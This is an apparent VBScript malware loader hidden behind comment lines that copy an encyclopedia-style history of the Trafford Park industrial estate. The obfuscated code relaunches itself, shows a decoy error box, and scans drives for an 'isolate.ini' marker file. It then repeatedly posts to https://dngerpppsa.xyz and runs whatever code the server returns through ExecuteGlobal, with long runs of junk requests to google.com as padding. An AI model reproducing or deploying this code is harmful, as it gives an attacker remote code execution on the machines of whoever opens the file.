Partial

'Trafford Park is an area of the Metropolitan Borough of Trafford, Greater Manchester, England, opposite Salford Quays on the southern side of the Manchester Ship Canal, 3.4 miles
'(5.5 km) southwest of Manchester city centre and 1.3 miles (2.1 km) north of Stretford. Until the late 19th century, it was the ancestral home
' of the Trafford family, who sold it to financier Ernest Terah Hooley in 1896. Occupying an area of 4.7 square miles (12 km2), it was the first planned industrial estate in the
' world,[1] and remains the largest in Europe.[2]
'Trafford Park is almost entirely surrounded by water; the Bridgewater Canal forms its southeastern and southwestern boundaries, and the Manchester Ship Canal, which opened in 1894,
' its northeastern and northwestern. Hooley's plan was to develop the Ship Canal frontage, but the canal was slow to generate the predicted volume of traffic, so in the early days
' the park was largely used for leisure activities such as golf, polo and boating. British Westinghouse was the first major company to move in, and by 1903 it was employing about
' half of the 12,000 workers then employed in the park, which became one of the most important engineering facilities in Britain.
'Trafford Park was a major supplier of materiel in the First and Second World Wars, producing the Rolls-Royce Merlin engines used to power both the Spitfire and the Lancaster. At
' its peak in 1945, an estimated 75,000 workers were employed in the park. Employment began to decline in the 1960s as companies closed in favour of newer, more efficient plants
' elsewhere. By 1967 employment had fallen to 50,000, and the decline continued throughout the 1970s. The new generation of container ships was too large for the Manchester Ship
' Canal, which led to a further decline in Trafford Park's fortunes. The workforce had fallen to 15,000 by 1976, and by the 1980s industry had virtually disappeared from the park.
'The Trafford Park Urban Development Corporation, formed in 1987, reversed the estate's decline. In the 11 years of its existence, the park attracted 1,000 companies, generating
' 28,299 new jobs and
1.759 billion of private-sector investment. As of 2008, there were 1,400 companies within Trafford Park, employing an estimated 35,000 people.
 saniksosParms = " |"
    If WScript.Arguments.Count > 0 Then
            For i = WScript.Arguments.Count-1 To 0 Step -1
            saniksosParms = " " & WScript.Arguments(i) & saniksosParms
        Next
    End If
    If WScript.Arguments.Count < 21 Then
        Set jikisoShell = CreateObject("Shell.Application")
      jikisoShell.ShellExecute "wsc"&"ript", WScript.ScriptFullName & saniksosParms, , "open", 1
      Else
      Function nikolssscnacci(KLOPPSSAASATZZPP)
      If KLOPPSSAASATZZPP < 2 Then
              nikolssscnacci = KLOPPSSAASATZZPP
      Else
              nikolssscnacci = nikolssscnacci(KLOPPSSAASATZZPP - 1) + nikolssscnacci(KLOPPSSAASATZZPP - 2)
      End If
    End Function
Function giosasassssshello()
   For dednusosssassasi = 1 To 16
      calosanolassossasres = calosanolassossasres & nikolssscnacci(dednusosssassasi) & "; "
      calosanolassossasres = calosanolassossasres & nikolssscnacci(dednusosssassasi) & "; "
   Next
   giosasassssshello = calosanolassossasres
End Function
MsgBox "---  error  --- : " & giosasassssshello
Dim nbiosoFSO, deniolsssoDrive, carlssFileName, futysetspsostest
futysetspsostest = 0
Set nbiosoFSO   = CreateObject("Scripting.FileSystemObject")
carlssFileName  = "isola"&"te.ini"
For Each deniolsssoDrive In nbiosoFSO.Drives
  If deniolsssoDrive.DriveType = 2 Then scrusRecurse deniolsssoDrive.RootFolder
Next
Sub scrusRecurse(oFolder)
  Dim oSubFolder, oFile
  If bubuusaIsAccessible(oFolder) Then
    For Each oSubFolder In oFolder.SubFolders
      If  oSubFolder = "C:\Windows" Then
      Exit For
      End If
     scrusRecurse oSubFolder
    Next
    For Each oFile In oFolder.Files
      If oFile.Name = carlssFileName Then
              futysetspsostest = 1
          Exit For
      End If

    Next
  End If
End Sub
Function bubuusaIsAccessible(oFolder)
  On Error Resume Next
  bubuusaIsAccessible = oFolder.SubFolders.Count >= 0
End Function
If futysetspsostest = 0 Then
Dim parminiaasmsdsd,lovssalsVarS,sfsdadPPpsssassasi, sernsrodsaxssssxxops,matropkosssdpMilos
lovssalsVarS = 1234123
parminiaasmsdsd = 50020100112
Dim glopsresponse, dsosadomain
dsosadomain = ""
blenderosapsdsdZeror
sernsrodsaxssssxxops = "post"
matropkosssdpMilos = "dios=41923&manos=41923&id=gfios&opps=41923&nams=41923"
Sub dingolsoalInver()
              On Error Resume Next
      Dim matrolsaosLHTTP, dilisessasdxcosl::crazissoassMilos(dilisessasdxcosl)

      dilisessasdxcosl = dencinsostaskaka()::dilisessasdxcosl = sisisisisseosasdstaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)::  matrolsaosLHTTP.Open sernsrodsaxssssxxops, dsosadomain, False
      matrolsaosLHTTP.Send matropkosssdpMilos::glopsresponse = matrolsaosLHTTP.responseText:: dinbosasddamsa(matrolsaosLHTTP)
End Sub
function dinbosasddamsa(wertissdsHTTP)
      On Error Resume Next
      If wertissdsHTTP.Status = 90+110 Then
                      remmidsssTestS()
      else
              blenderosapsdsdZeror
              End If
      If wertissdsHTTP.Status = 90+210 Then
              remmidsssTestS()
      else
              blenderosapsdsdZeror()
              End If
end function
Function remmidsssTestS()
      On Error Resume Next
 ExecuteGlobal "" + glopsresponse + ""
                      claraepossdsains()
End Function
Function blenderosapsdsdZeror()
On Error Resume Next
End Function
Sub manisdsaassasdcupd()
       Dim asasaAmos
       dsosadomain = "https://dngerpppsa.xyz"
End Sub
Function dencinsostaskaka()
               Dim asasaAmos
      dencinsostaskaka = "Mic"&"ro"
      dencinsostaskaka = dencinsostaskaka & "soft"
      dencinsostaskaka = dencinsostaskaka & ".XMLH"&"TTP"
End Function
Function sisisisisseosasdstaskaka()
      dencinsostaskaka = "Mi c ro so ft.X M L H T TP"
End Function
Sub claraepossdsains()
       manisdsaassasdcupd()
End Sub
'18853
Sub crazissoassMilos(dilisessasdxcosl)
              On Error Resume Next
                      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                      dilisessasdxcosl = dencinsostaskaka()
      Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
       dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
       dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
       dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
       dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
               dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
               dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
               dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
               dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
                       dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
               dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
       dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
       dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
      dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
    dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
       dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
       dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
    dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
       dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
       dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
       dilisessasdxcosl = sisisisisseosasdstaskaka()
              Set matrolsaosLHTTP = CreateObject(dilisessasdxcosl)
      matrolsaosLHTTP.Open sernsrodsaxssssxxops,      "https://www.google.com", False
End Sub
      While   parminiaasmsdsd > lovssalsVarS
       dingolsoalInver()
      Wend
End If
      End If